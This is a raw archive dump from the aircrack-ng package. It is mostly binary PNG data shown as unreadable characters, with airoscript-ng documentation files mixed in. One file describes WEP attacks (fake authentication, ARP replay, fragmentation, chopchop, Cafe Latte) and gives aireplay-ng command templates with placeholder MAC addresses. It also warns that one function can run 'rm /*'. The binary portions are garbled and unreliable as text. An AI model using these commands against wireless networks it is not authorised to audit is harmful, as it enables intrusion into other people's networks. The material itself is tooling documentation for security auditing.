¨¨xþ<1q×®üƒJÅáºç+¤7¯“ÅãI$ý¯Þö×|u?,–Hœ?ÿ»ïbcŸ>-../W*u:•ª¦¦¼¼¤äÂ…6nôô$“ñxˆ Ó¬û:|ú´çŽe‰õë= ïߎ^³ÆÏÃa±H$Ba±8œAƒæÏß¼9;;+kß¾€€ÞÞÁåÊå:]ÿ«·ý5_ÝmüøÍ›ïÞ-,LHøòË#æp¨T"‘Lf³==‡_¾|×®»wùük× V€NëCŠš­Ö`ðòjÿוêâR[›—wêTëOp8*5,l÷îK—ÊË…B™L*ÊÊ®];q"2’NÇã±XÛå˺ca±¢E›7'$”•UW76jµ ESSNέ[‰‰Ó§»»ÛÙu|Vëzä±XŽJ]µ*&&9¹¬¬¶V"‘É„BïÚµ¸¸¯¿6Í‹Ç;: :@àáñÑGQQÙÙ \.Þ¿Ÿ’íæF$âp¶ÍWgóÞù|NN:B‘›Ëf„‡ß¹SPPY©VëtJeyyAAZZhèÐ¡ŽŽ¯·¥$'WUI¥ŽŽd²é§x<™ìå¥×k4Ð7:­ )â㫪äò7¶m[¸Í¶ô²­Ÿ_xø±±ëÖ…†úø°Xt:•Ê`p8Ë–ÅÄdgçäìØ1nœ­òeݱ|}—.½|ùúõo¿;wð`‡É$(:}êÔ¥K‹KKy]1Gùû¯]›‘ñüùñãkÖ ìææèH£±X^^+WÆÄ<{–™ùý÷£FµMƒÅ¶´47#ÈÇŽóæ›ÎÎ4›íí½råŽOžÇÅMšÔ}ù²$­5ùÂáš›D$zò„Ë=sfÚ4OO2ÙÎŽÁ˜?ÿ‡îÞ•Jy¼èè×ÛR:æä4lØúõJe]ݹsÐ7:Í’Î @Xò·ëÇ²Ž½½—׌—.=xPZª×ëtIvvzúï¿ïÝ»iÓ—_¾ý6‡ÓÞ¯ù¸¸ÚZ™Ìôê‰D§Oœ¨V75¥¤Ø*†ÖëÀš¹|Æ £½ß”¶:·®8s¦®N©œ?ßÅ…J5ÞN¡0™³g«TõõçÏ›;«ï¾óò¢Ó[GÃÁaòdµº©é÷ß»/_–¤íJ¾ÂÃ9{{ãíx<…âím0 HCCïìììÜÝ33›šêëW¯=šÉ„¾Ðiýã*…1GG/¯‘#çÏ_¹ríÚ£G/^¼uK*Õéäòèè ¼½ÿ³¢B£ÑëÍ]<7¤©ÉVù²îX¥¥j5‚¸¸tt#àõÆœÏ×jõzÓ[8‘èêª×kµÕÕæÎÊÛ›Bi}= ‹Åã ®¾¾ûòeIÚ®ä‹Bi¿´zç37^^~¸vmaa}}aáÚµ~øÆÐ+¬Ôÿ†¦ÜݧNý÷¿5‰ä?Œ·—•©Õz½««õ_Ø–ç˺cUUµÿÅÖ{b^Y©Ñ˜ûêus3wW=+«m*,–@`2Ñ'-º/_–¤íJ¾z[ýo;þ–-çÏ—–þñÇñãï¾Ëf·¾Æp'«§NååÕÖ†„´½Ljlärþ™@ P 2Þžš*k4ãÆÑé$RwŸ¡uÇJM‹µÚ·ß¶·ïþ3´Î;R©NààÐúÖ ‰äà0a‚V+‘ܺe.íܹmË‹D¢ÑFÖéäòGún¾z7,–Dúæ›S§?ž7ïÏ?“’† ûðȈ'O4šÓcºEÿ˜—â½÷öí{üøÖ­•+§O÷ôtssv&“ñx<ÞÞžÁ`³gÌX·.-­¢"9yÅ ãT>>¡¡ÉÉ©©QQ!!¾¾ƒA"Ñé,VPÐ7ßœ>ÍçgfîÚe«|Yw¬¡CÃÂnÝJMŒ öövwg0Ðítº·÷¢E ßñqïß—JµÚÈÈÀÀ!CH$‡£Rœ}}GŒ°ìáÓŽ ¶zõ;%%ÇŽ­^=h‹E£ÙÛ»¸xy……>\TtûvD„ŸŸiª–––)(HKÛ³gÈôáG6ÛÛ;,lß¾œœ‚‚˜˜ º/_–”—uù²ÕUŠîk)“'oÛöàÁ… kÖŒ ½ÀÆúÇýíµjÕöí'N——×֪բѕ•/^$%ÅÆFEµ?²eËÙ³%%|~CƒV«PˆDùùéé.ùø88˜Ë…5¯2vþX ƒÃ-^¼sçÏ?ðxuuZ­R)åæÞ¾˜øñÇ4ZÇqa2ÇŒ™7/>>))=],ÖéD¥’J‹‹Ÿ>ÍȰEäq8*5""&&%¥¢¢¾^.—J…B/9yÿþðpsO C ?¿E‹vî,*$­V.ÒÓ“’vïf2 „WÝè±<_Ö–—5ùêýC ¦¹¹¥¥g^0 8ýeH Öè.èY t‚åÿjü«±»— @ßòÿçã•܆ˆ%íIEND®B`‚aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/scanning.rst0000644000000000000000000000000011662075456023410 0ustar rootrootaircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/others.rst0000644000000000000000000000027511662100350023110 0ustar rootrootOthers menu ----------- This menu contains all not-frequently used (but nice) options. .. include:: others/options.rst .. include:: others/external.rst .. include:: others/advanced.rst aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/Makefile0000644000000000000000000000062311662075456022531 0ustar rootrootall: install install: @echo "\t Installing html documentation" @$(INSTALLDATA) *.html $(docdir)/html @$(INSTALLDATA) images/* $(docdir)/html/images/ build: @echo "\t Building html documentation from rst" @for i in *.rst; do rst2html $$i --link-stylesheet --stylesheet=css/stylesheet.css $$i.html; done uninstall: @echo "Removing html documentation from $(docdir)/html" @rm -r $(docdir)/html aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/attack-wep.rst0000644000000000000000000001425211662075516023663 0ustar rootrootWep attacks ----------- .. image:: images/wep-attacks.png Attacks not using a client ========================== .. image:: images/wep-attacks-noclient.png If you have no connected clients (for example, if you've only got one wireless card, and you're auditing your own network) you might need to use this attacks. Fake auth (Automatic) +++++++++++++++++++++++ Airoscript here performs a fake auth attack, to associate with AP, and a arp replay attack for injection, typically doing something like: :: aireplay-ng WIFI_INTERFACE --arpreplay -b TARJET_MAC -d INJECTION_MAC -f 1 -m 68 -h FAKE_MAC -x 1000 aireplay-ng -3 -b AP_MAC -h SOURCE_MAC WIFI_INTERFACE Where source mac (in this case) is INJ_MAC That is, fake auth and arp replay attacks. Basically, according to aircrack-ng wiki: :: The fake authentication attack allows you to perform the two types of WEP authentication (Open System and Shared Key) plus associate with the access point (AP). This is only useful when you need an associated MAC address in various aireplay-ng attacks and there is currently no associated client. It should be noted that the fake authentication attack does NOT generate any ARP packets. Fake authentication cannot be used to authenticate/associate with WPA/WPA2 Access Points. The classic ARP request replay attack is the most effective way to generate new initialization vectors (IVs), and works very reliably. The program listens for an ARP packet then retransmits it back to the access point. This, in turn, causes the access point to repeat the ARP packet with a new IV. The program retransmits the same ARP packet over and over. However, each ARP packet repeated by the access point has a new IVs. It is all these new IVs which allow you to determine the WEP key. In interactive mode, you'll be asked for the "f" (from-to destination bit), making you able to make it into a t, and the destmac (wich, by default, is FF:FF:FF:FF:FF:FF) Have a look at _Fake auth at aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=fake_authentication and _ARP replay at: http://www.aircrack-ng.org/doku.php?id=arp-request_reinjection Fake auth (Interactive) +++++++++++++++++++++++ Almost same as fake auth, automatic, except for aireplay being called in interactive mode, wich will force the user to select a packet instead of injecting the first that it gets. Have a look at _Fake auth at aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=fake_authentication Fragmentation attack +++++++++++++++++++++++ Here, airoscript-ng kills *every airodump-ng and aireplay-ng processes* (-9 kill, be careful as all airodump processes will stop recording and not save data) and removes all old fragmentation captures and normal captures (hard-cleans everything). Be careful! Note to self: IF NO _DUMP_PATH_ PROVIDED, AND NO HOST MAC PROVIDED (It's imposible to get here with airoscript, just if you source attacks/wep and execute directly wep_attacks_fragmentation) it will do a rm /* wich is dangerous Then it launches aireplay, in this case, assuming you've no clients, with injection (-5, --fragment option) like this: :: aireplay-ng -5 -b AP_MAC -h FAKE_MAC -k FRAG_CLIENT_IP -l FRAG_HOST_IP WIFI_INTERFACE Have a look at _Fragmentation at aircrack-ng wiki: www.aircrack-ng.org/doku.php?id=fragmentation Chopchop attack +++++++++++++++ Makes a hardclean. Starts capturing, fake auth (3) and aireplay with chopchop attack, then it calls the _Injection menu: injection.html :: aireplay --chopchop -b AP_MAC -h FAKE_MAC WIFI_INTERFACE According to aircrack-ng wiki: :: This attack, when successful, can decrypt a WEP data packet without knowing the key. It can even work against dynamic WEP. This attack does not recover the WEP key itself, but merely reveals the plaintext. However, some access points are not vulnerable to this attack. Some may seem vulnerable at first but actually drop data packets shorter that 60 bytes. If the access point drops packets shorter than 42 bytes, aireplay tries to guess the rest of the missing data, as far as the headers are predictable. If an IP packet is captured, it additionally checks if the checksum of the header is correct after guessing the missing parts of it. This attack requires at least one WEP data packet. Have a look at its aircrack-ng docs at _aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=korek_chopchop Attacks using a client ====================== .. image:: images/wep-attacks-client.png When the ap has a client connected, you can use the following attacks. Arp replay (Automatic) +++++++++++++++++++++++ Calls aireplay-ng for a arpreplay, as in fake auth, except that does not execute a fake auth attack. :: aireplay WIFI_INTERFACE --arpreplay -b AP_MAC -d INJECTION_MAC\ -f 1 -m 68 -n 86 -h CLIENT_MAC -x INJECTRATE Arp replay (Interactive) ++++++++++++++++++++++++ Same as previous attack, interactive mode. Fragmentation attack +++++++++++++++++++++++ Have a look at fragmentation attack without clients, this is basically the same, except for aireplay-ng being called with -7 option, like this: :: aireplay-ng -7 -b AP_MAC -h CLIENT_MAC -k FRAG_CLIENT_IP -l FRAG_HOST_IP WIFI_INTERFACE Have a look at _Fragmentation at aircrack-ng wiki: www.aircrack-ng.org/doku.php?id=fragmentation Chopchop attack +++++++++++++++ Almost the same as non-client directed chopchop, except this one does not make a fake_auth attack, and provides client_mac like this: :: aireplay-ng --chopchop -h CLIENT_MAC WIFI_INTERFACE It also calls inject menu, directed for chopchop. Cafe latte attack +++++++++++++++++ It just executes fakeauth3 and caffe late attack ( -6 option to aireplay-ng ) According to aircrack-ng wiki: :: The Cafe Latte attack allows you to obtain a WEP key from a client system. Briefly, this is done by capturing an ARP packet from the client, manipulating it and then send it back to the client. The client in turn generates packets which can be captured by airodump-ng. Subsequently, aircrack-ng can be used to determine the WEP key. Have a look at its aircrack-ng docs at _aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=caffe-lat aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/attacks.rst0000644000000000000000000000000011662075456023242 0ustar rootrootaircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/scanning.rst.html0000644000000000000000000000103411711531302024341 0ustar rootroot
aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/Toc.rst0000644000000000000000000000037011662075516022344 0ustar rootroot.. contents:: Table of Contents .. include:: configuration.rst .. include:: interface.rst .. include:: resolution.rst .. include:: scanning.rst .. include:: attacks.rst .. include:: crack.rst .. include:: others.rst .. include:: autopwn.rst aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/index.rst.html0000644000000000000000000000120111711531302023644 0ustar rootroot Airoscript documentation

Airoscript documentation

aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/exit.rst.html0000644000000000000000000000124711711531302023520 0ustar rootroot Exit

Exit

Quitting airoscript will ask you if you want it to delete temp data and virtual interfaces.

aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/css/0000755000000000000000000000000012316431267021651 5ustar rootrootaircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/css/black-Linen.png0000644000000000000000000024545411662075516024520 0ustar rootroot‰PNG  IHDRâê*”PýtEXtSoftwareAdobe ImageReadyqÉe<"iTXtXML:com.adobe.xmp g®yÔ0PLTE !!!"""###$$$%%%&&&'''(((æÃa¾GdIDATÁOw$Ùu vlüdf»ßÞWiÛý:vùcý_ÿysÕý¿Ûáñ{ýWûm÷î×Ãö~ÿîaöÑ>v¿~Çõ?>Ä¿ü§ïýúㇿùŇß<~üzüçßü￟‡ï~qûýýã?þ_Û|øøáÃÃpøÍ»‡Í|þõð~ºý¿ß »Çá?l¿¯‡Ý/þ¿Íoß>î¿ÿ°ùéÇçõãü(ûýão?~¶9|‡ôøûßýæv¸}÷l·›ïÒ/þa|NÏòñé7þF¸_ìŸÓ»¸é©ÜKñ½té¡ó6áQŽéɾ:¹4½N:é‘]R•­_]³stÚ]´ ¨à :cJàzkÙ22ý–ðœ¥ôB:†È¦¾óøì„úNâÀ9Õ[±î-~fkK±—¾E=ì ¢Ür>`¼ô[ég`°V9îÄŠŽ¦Üo¹¶Ái÷1#ùr»@„vׇZŒš…"¤&ª+ŠL"Óˆ Ÿê¢9kÍ9Ýõ€#y…˜ì= ¾8ù-³õÓ¥2¬ô)µÓ㩪ݵ´ÀN‘â7š,æ»Â…~àg+W퀨­ãŽó£ ͦԛ6X‡`©W¶j-x£Œ ‹©•¸Ô2wÓÉW¹¯ŒÒf™/ Ñv T•P½åþ´Câ•.æçtm¡<7 ߺ„`¿›Šûòäi;ÐöýæUdìÒ½Ý5ƒ/7}Ho;a†„d‚˜ZÛÈDØøÄ¨²³ÕÄ¢ÅÒôsТ½†ÉyA æ´zÑœbÏŠÂ;{6‡X–K•ÏO#¹5^8íOíÿ¸^˜göÚcQU–{'¯hH+ åJŸÙÊÏ|î º!7¢‰šÅò­~ë6šczða ¸ì¹kjBÀj8ƒK}JOÜùßòüÕ ¹Cú»~_#ß ï¶ÆDŒ‡näp{#qþÏNª4í1nˆ~}u¸#n”Üñ[(£%{õÁË“z™>Ë#„¼1-µùi3µ×HV©¨Êë©­rTº¶Ÿaãµ]Óü›)ž„C_ø  Ìœ¢PÍ!. Kä(€0<ï:.eüig$ºn”ñûÏß?Št[*ýAÞa8Œ,Ãö÷>ua›Ò!øqqwüó“µ:_©UŸ/³ù[cUAÕºš|ºÛL¨Ôôeq½*X•g"¹5e5’瘺°ú&^+ˆåWTA)lTH ÿØÒ5$sj¬&*.®çןOô™ýö¯3TE¼‰¸>SËÉ=¼XÙ(UO‹ 3_‚QKlȪÕˆÍÄuPþ¼žç„FII-·Aݬ윯ш Q¦}ís:eÇl©´m­©/~ØdÓošùÄÞ¬¬²ªðU“æÞ®«ó“oÝy%Š”©œsc¥MyÓKœ&âÿÒ÷ CÇ¢ûn!¡÷)lX;¼O[zõ˺єDvÃ!nŽ‘"û·á>™tÕI`´ö±ÎùœÓC8 £çÃhiKùpÉm_yd´Éïö’˜û‰Ä»_ÝÅ!D”Á—_f#:Q÷$¨Rt4ü:Àô Ì| mO÷i°Éô ™õj!BlÄV¹E—E6Ä$Öò2´T4Ëó“ÿÍékçèÅŒHˆX0BùÆ»˜÷’’·Ôiÿ0B§öØáfg1’t)Fo{'ÔCï|•‹= F& ›ÃaØ#=ÕzÓ÷ö»ýè~àöûï>6ãó±Ûöa”úþÃ(ÿ@uøÀ?`¿W§Ÿ¼s§í!‡˜úŽ#ý¬Çàx䄾ñWOD©O¬Óàëùn;îM’MÇLès,‰Ìç7¼0Mu.I1 îþÚâë1/NZçšAÓ] ²Åä =”2ån ÃŽ6…ë.iÕ6Q¾MTG  .yªÁdˆ mû>Û1%’€ZmwNÓ„zà (i¯¡íà‘ÅDêˆ.Áms£ Y1 ‡š% Ihf$oQâ„za‡5÷Dü ]C?O]äUJÛQÄ?%$jy#çO=‰|Ó§]ÓJ}òm(…5XJ¾Ž–}¥mÝ kíÎ;nŒÀ=öÀÆóÂYp"s䔑„ïÀë2á6ʃtý³’šF¦Ã1ìn%{Žr³sGH€ýžØi¯‹ÑÒw]pµß“ìn›¶¶Îmd8ÄxÕvûK¹•CzY¿»ã1ÀÉŠÃp§™ñnèöm |D×ø$¯ˆ^ÅrÇ„+½Rd6ZÏ ì…p˜²“7™+^®èÓ"ÓhM“MqV¬Ô²˜§*³ù¿^©àÏŠì qî]µ\x‹¥ZŸ-OÝÚ^ë¢ý|UXýeðФˆ "@ ±†›¦ÐÑ)Täû^ÚDr`í]K„+¦ºÐyXE2¹rßÉ.k—Žv‰â`µãhk˜DPŸ¼¦š«¨ÉÒÂ]ö…2g/Ñ€¥Âz ¥]³ºðË\Û¯&g×fy¾ÀhóùÜ7»s™]Wç'Íü_-u®'ù¼ò…÷ëUáÏLÞ¨Ïíy ¼±H¨HÕ8tä¢î¸Î»–ØSè)ƒô`[U&âAp·©!õõÀïw‰[ú¡£z$oZ·ûÚIÔB¸Dç"L„„5ZWîœb¡G:Dà_…±“ ]RCHpI@=/°6TzÖVñ¡Ô6~–7¹¹ŽÈàßOA/W×vºô³sÁÕŸTEa&7k˜ú³Ó»ó“·ý‡8L4:Ñšá¥ø .ì´)‰ž°ï@ýu€®·Ý@Ô;< [¾Š”ÆmlŸ/ßÌ”{×Áycï À›ŽŽoýVŒÆ—’¤|ƒË ŸÝ}Î (ãs¾õÇß„8 ñ a ¡Ã ­pã¼pG¤ë} é¯êƒ$ǯÕŽ}fîú‡¢CqòŽ-õÛÛƒìv›gw8üåI{ÉL&)»Ð{U$UOŒÊRßR· 4—˜­qµ ×â1ºkcÚÇ+ª$ieG”—dY²€)Ê…,æ­Åë­H‘Å–Ú&çÆ „Ä3¢p–V4Y–…®k¶…!Œ}× (v/‰Ð¾ YYç¹P_B×° Åd åZؾ饫“IËžˆ m(z•‡;L5ðø¾{yr·U~ =Û'æ‡ä#u¶«Ûéðúu·¤0Œ<ûWcdܦŽ> w£$¢»Át÷²·û÷ôáö2 é¹;|à‡Ô¿¤¾–;{—úÞÈ@ÿ¥;âöЇ §w)mjN[øúnJ®ix=vVRÚ‡ÁÇ#ߎ}g·Žã€è¶Ý;Æ.Äqaé.ž9ôþ^ÚÁíF¶Â©`Øz†QG€Kw€KP…Eî»Ãf/qè_%‚.!Ýuçï7ñÕ2¤°3ä†z e­btAL$—{' ,9¢ô´¹f¸Ã¤ïŸ£¿·eàÄD‹þàSÙµ4!«Õp€`.y ({Ù Ÿ´Ð#gI;¨ÓÑ:WY{yb'BÄ×È,]iýörÊÎ82½Ϥ6ÖÉ/zÛk¯âýLG×(`Ê…ˆ`žmgW¦Œ%bAvG° HdAû^­Ù’¢¢«-5¢¯d@$OZ—UÞ3‚#3¢Ÿ6ްF•KÚf_½ëã=Ð)¹cn>j7`)GR¬¹Z$Òç'?ç_§˜ˆ¯öCì“ÕÔµÝfßwÄ­ë†ãæ®ÆÅaHãæ‘nyüÙq¼zÚ»ÇñØýÍ>Æñ¸û©<þgy÷ÿõŸÞÏãñÝã86ýøÿìGøûð] £î?FÁ:$cÙËðnßÝöß Ûxä§±ÿ·ÒõW¯D¶>n^?¾þø!ð»“ëéã÷‡úwã6ãv+ááã6Žÿâcý_†½=þnøp_»Àö˜ºŸàö®ÿqßÚyˆ¥ C ªŽùž‡¾lGŽî¸½Ý=Ü¥=òŽuù$©Ëž^Fj%K &b¦xmáÉììç'ÑL"€M"ëÂõÌ¥›h}qÀš–Tí“¥ ¹´ˆ…¶‹ñm¦¬o”ÅÜ*jZ{¼h¼Áœ AàEa.{WT×öæó ë£IéÎ=õ¬2"°i†ŠWvÙþüÍy¡¢i–F Úƒ/M& ÂYiíyåbkÏ#ÚiUR$ 3׬[RkŠŽWƒQÑ7e¤Ü³)ÉXfäÞ]{ØEPm8yeŽrã]@ Q£ÄWòõ/K$æ¥êñÒ!@þ 51zÄÄLS…¨I{r;˜“¥55ßJ„kyäÎE.\\áüÁÒjKÈPx‚š­©Q÷ˆZÇMìÝ×#ètHÒø†ˆ…Ø‚Ö-k˜’Ûj& !49Æ•Ñt Ú0 ™>£¿¾q)dì1ç§xE°‰‚PÙùÓ“¿MŒƒ R¯É+P¢/UÖƒæuQøCtƒ¥\n¯Ø¦BI½9JT$²KtÍ$^Ö—hµøë¬'é¬Í|;¶=™íóân’LRþê*à|[?E¾<5Æ,À|“ç!P•Ö6Y(} ú¥ç1^Q† D¥°}‰ÒôvmQµ³‰v;âÖåì m¸ý¡Fz]•o(Ïh®yHƒÎ#‰$ãê“ëóééÅ…úƒùVVÙöt>ûÑd’]TÙÍÔj’ý÷góâæÌ6óùª^/Îàz2ŸÏ*°óÓ¨©¿Q¹ÿáÒ(¿Â¢*´&zc“Ã\ȃî¦Z¹PÆb¥ŠY!…µx=N=Ï ÄxÆHe±BcõìÀŠRÞœûÚmÜb,Ô ¸z©&T˜Y‘U:®f­²b®¼µz6Ǹòʬ­Y£ææ‹Oý.ì—çföéÅÅÙæíDŸÕä´XšOª¹_«c?÷h®>e½2xñÒ¬V™1—Í)±_Î-z«[ë'É+ï®—j¡H¬°eF„ÏP_²BAz”ˆÏ¥”w[v;É«MJœµ7ð¶T©HC½ñ(©Mj.šîD]¹TCøþëFi%ÝH¾¡Rü%J€Ôé8^ªÏŽ"O+t^³S7½ˆ£U›CŠhÈ/”Õggù7êÌ,—/ÈÌ2e´]V7”Ͳxqòó¤(”ÁRÏÄVíª`µªã´'Þ],¨–Ý%Ù$l™‹:B¤•UßíŒF„º‚xoõE­\ÊÚxÂEoϋ ØùÚ4z¬}KÖέ¥X7 s“ãKPó³ÒÒÜTn‰çÕyfnÈXíRÓ Fñt>­èF¨Ñ”Æ~ÖH Š£g(¼ödF‡üšèr¨˜?# ðïëŽ6~J¢JE-6I%j›W'¿u_Æê2=õcì»Û.ùí-ývè®<¥Áu¿û¸ý¸‰iÇèØ…n§S¢r $¨r.8V©·Ø¢8O$ÃÔã ÖÌÞd7çžÙ5œØ¹Xó‹)O‹Ò~¹Å½6_`ûF¯ÿp®ðlU X“4°Ëc'öUY>‰$ÈÚÀŒ£Pj¨ÓÒK7ÐU'‡qì÷´¿íF–ôÓ˜Ž÷ºñÇýûÇ˧~÷qáp|uòž­¾„cé„Q€È#È5¸8§šúÓ*˜´ýÂe“]A´ÚD³Zéve4©Ì<–4+Z«ôÛuÅ {Ž  ñ2¢ÛåjöÍÏüÙú—d³9*íÐ,|•£Î[¡kþolÑ+ÿ¹NT¤`®¯óÆ"¨QWçÀ8ÕÙ©7Òä«Òc4Û‰ÌVÀX¡9;¹‰t×—) N²É,­m«©ÁµŽ‡˜SHÜ$zjâM}òíÜìz•2°ôŽÙ€¶MyÕßD'/ É—©—z’ùÕÀmµ F…õ OÎK â–žmÇ~N?ÙHÑê˜4t6 ¯¬KF$ƒ("+jÆ„¢Aƒì„aAô!Ã&&†#ß_ú›æ=±°¸KJîË „Ð/rKô5%`E ¶OöÎEÏ©~À®HAe%-eÞø—dÜÒØ¶”Gðø‡';*2ö£–žÃH5Ç(¼Âncêˆöðl j‡]-aÝŒ„O”¹ÞÞpB …óèºidN"Ñ åÐÒ¼©8]*{ñmý,Eƒ/ÈõŒÙ½ b«W­ÃÜX„Òz¿h˜ Ûº¿uÀƒ@è Êë_¦ ƒ Ø0Åסÿh©îãn¿÷ƒÚ±$ðÐåïü¥ˆn¹z+÷÷¥€ƒÜóÝPŸp¨Õ&5âñ±¿íx;înï·ÿÄO÷Ã{kþîcÚó÷¿ÿi›èò!Þ=·| 1´ µÍ±P‡dW" ‹Ï¼!B”]†>˜:ÛÚ˜CêÞ“ö  õб ႳGûI¤çûÑ>lËßÿôöº´ÿþóヌwᶷǨ·‡þî!vwéÏi{^éw·ãÈ=¼>y£¦s§`:™Ù¨ìêB¹åj5_[0g˜A=Ë­AÍ-ôyC‹;Ĺ=ÌhgUF-3P«@а*w1Y_ö{‘á]o¶:×7òž)F#†Ør|G±Ñó>þ1c%ù5=”„è‡W ¡Sîâ1rÚHxî.‹ä°|MJ<[91zgsç!fÒ×5f-É—=»h1àü¬1fRÌüM¾®²‰ñsPÅ•:«N©¤ìÚ¼8¹ç…bNeWíjæ&— q¨œÜ÷燞J]'¦Û^1¸Zê!Y¯ûô6vIŠÐëqñ¸äøû}ìêžÒÕÇïwòÃ+~¦4|è~× y” äèxÜ ñrûq/]x0—T·ý¯†á¦»6ãv¸=v²PûÞnþ'št$µÛ‰cAÏWuL»7Û¡ì= ¡;†W>~]è*¾KYOeGuM—,PxOî—~ò·u®¥‘sصÚB²LÑ(WÔ.N~uND$ðù–jqÚ€8ND~ ¥ÜœÁ€<k7(ÜE Á¢éUoI"Ýéa»toë. ²‹ûÛwC0ðgýxùZuù°AJ)R~G¯©¡ µìIsÄö‹ÝNDÎ#ë’jå ïP¢v¹C ‰d>%*î~@m´Ö¨ E+$Ê^!õñO¾µyEJŸW¶'b¢Gh¼¡ Ù“„`ÀÁ?pÝýø7ÇN‚XêˆÕ°;§+J}ç‚烮 ;¤#E3^ŽüôÜhÀ§Ž$Á·W0¬dwd1õZ¯©cñÙ%+0o–4ŸÃl®ªâœ*W¨Ê/О–æÌdju:_γÙÅù¼Z­ÖÙìGÙf_]¼ ùÅ…Í*µ¶>SŸœ©©‚òË‹õK;ÿ#«°"å¿\y›5(F]P¥Ï‹3óÕ—åõü³É²¶_.•-Šj^}ågº_žªO>«ªl2ɾÈLuV­.>ÍÖ™õxV,/&Íô­R?^®µZ-³Ÿ“ZœžWfòÕòbš5…¶….J#™E¦'ê³UªìÙäle‹9ÌÔ§“™){ñ‰Švú/UÕÜâ´<u¾‚bº*&…B˜\TEÅ'çýôËÖØ–.2o€‚!>äê=D|VÄÜD¸9÷¥¡¹­ú‘ s+3Wt‚ždEÉÍh,ðf`‰¦v}C…%k¬jm‘ hϰ ´¥ÑżPõÙLHfö¥ªN•­Ô:+À®•ZþªÌüѤ)f׳™jiâÙìt'f^ÙüämжD>¯Ì‰¢ ä@Uobñ+·&”‡acUÏ5v]díÛò@DѽÞíY·Òq¤û•ýú¹,‘iŒ­«Þ⨿3H}J-ÒW**ÅõnCïkÿ@R"jwé<&Òì:ÍH¶æ\H!eÓØ@91!ˆã=xJûñ¶ åÎOawÀ*ZuN­Ñœ0yüZ¼]²u¶•—'ÿáfÁ·ô€}$ ÒÃeCÁ&ôÐwnðÒîC·ßÔî˜^öûwôãïB_ƒÄ§0YÞklAŠw×ýw)~+ò¸êÝ/†Ë®vW|û=ËÓ} èƒ|ënxHQ'ÏÏÝØà1ÌîÉ¿Dž]Ôu’±ûnüþé¹N|›ú_l\—ÒG©Óö8lDZâ:zpìµ}ä§q”ç$mn‡ør8vû¤Óc$¤Æòó5J<Ð@ñ¾;¹Ð/ gà<‹r‘ÛÙ¼‚ =C v…4$'¦ÝÎ߉Eä¬~Ç!:€Ð¡ü°(,˜_/ÙƒQÎØjÂÞ¸ 0qÚÎ.¦Í­Y©buÍóuŽþüä;ü3é(ÒÍÀcŸnÉ“çM•˜Kå3zàíÈu=öÛþö­qé5ï€@⥧ €P”ËÚ¡Ãý€iºãŽ6#¶ƒtݶ‘ÄǰôÝ1^Áðnì»÷õ¸ w£ÙnßÕÉ$Н“N©ÃîÃ]èÿf/7ÛŸìC')- )?J 4¢ÚH’·æ!òô?q×oGá£Ä¿½ß„ôØ‹À%‰é1¦m‚ØR¹ßíú×'oÍgÅ|e'—™Z©bµzY6ËÕt•[³Œ ¡š•¶‹©'€óUgÚf¬ü|fqÇöN»¨×Z3ÌÄVl B"þ<[™ª´ö+ûæ|†§~m‹kUQ©ùÔ~5uY–4L‹S™_—3˜xmãòf]YOªŒ¢¡ÌçZÇ*Ë)I¯Áž¹å»ÂÊ;ží|Æüè¬0­=˪‹•ýbþÉêͼȌQ³¥-Ì'ÍÛÅÉ=U¶¥i67¬p—½Âe–Ï‹Âù³/áâ…GÌÿM?Ð+¸9+.?«ª šÂX;W]+±•¾0~e_ãzÍ€”hYv8‡y{¡&×ç3¼° }œ³vPK7ùŸ'&榘h gå\ÏÞüp¥N³oê¸X7*ÁJ!ﭪع=ãÕŠzu]˜ÆWäj¶©nŒ_)μ¥šË`ì]N|4t‘¡.WË©ñE-V«³õWÊôÚ.Nþó¨»mL–(ÝaˆÛ-‚/1…¤¶xìyÏ® ‘—À1ÅFŽ……ÆZ;O¾…eÆ„â²,§…Ú‚"&UÆv­¹íIh‰î)êOäAÕÆ%M‰ nóÒÒaCÆ“w—Åù€mÜUÇ)ÀÐ}\Xö£ã wÌ7P‹ƒÁÊshS¡­SÉÙ ÂyÚ‚Æm*Œ&ÊÞ¨ mkq5$&_“ÜM“¬;Âs‹—º]ŸØVØÄ7/O®ÕÔ: Éì«Ê!bn5™Ï—¶°ÿ-CyuQØÖ*bàŒP[Î-ýwc»2€<êë]«üë¿NÞ‚€ßņ Žƒ%A/hñ_Yš+Ø"#iÌé3?OgÝØiVζÖ* ŒÉªoz@È6\îÉ–NŸÖÖŠÍHÿÊ– ”¡0J1ÜWp£Z"#ÖX­VKÒˆ/¼Ÿ¬Šu±¢ÂjÇj]­£n½7ç'Íl2ËO½šœ]4Yµ>-³/Ï u1—ë3« ›Muëç+,iÒ"dgÚf-4B¿+°Œ ÉFC7€ÆÑµx¶ +­î¦P(Kquy(Ì ®“¥ k½uÚõgÑ–Ïrµƒi.«©Õ–ÑâuÏbuˆtÙè)–´vg>kaFl•=K¸Ókh«9Ì èùœ ¥ÌEµÊ˜'ÓU1]_¬/–Õi¡&Ÿ¯NgkµjfËU~ò€“„†`E§Cc#À÷ª ]h mzpåîØÁxsÉ$Ý»£Ù‚ ÷»¶ëS×µrKãs×=ô`¿eûWûÔîˆvïöÛ#Hº£ÍÞIÿOo}è~{8Þ»$aø~sµ£Kzýº£±=^ö!õ¿}øè’Ôû£ ãÏÆ¿üîu¿éùô|دû«þÆ&•|Úu»ãk¢Þ…`ÇKtÃë‘3¦Ã#°¦s¹Áõ©÷Ç$t/—'ß“*[Ùâl¥üÅÄ/auz6ÏV9øS²­=ûAá›ÔB«Ö€/nÎlŸô—°C£³¯ÌÙh(‰Ç¤¹v5s . Ŧ…èb¬©àh™°}ëË£‡¾ß2dD­ÄD_{€H,=¢@É‘_¬8ØÊ–EÈ,Æi»ë¹¼~Ë…²öÆ\Ï æ† 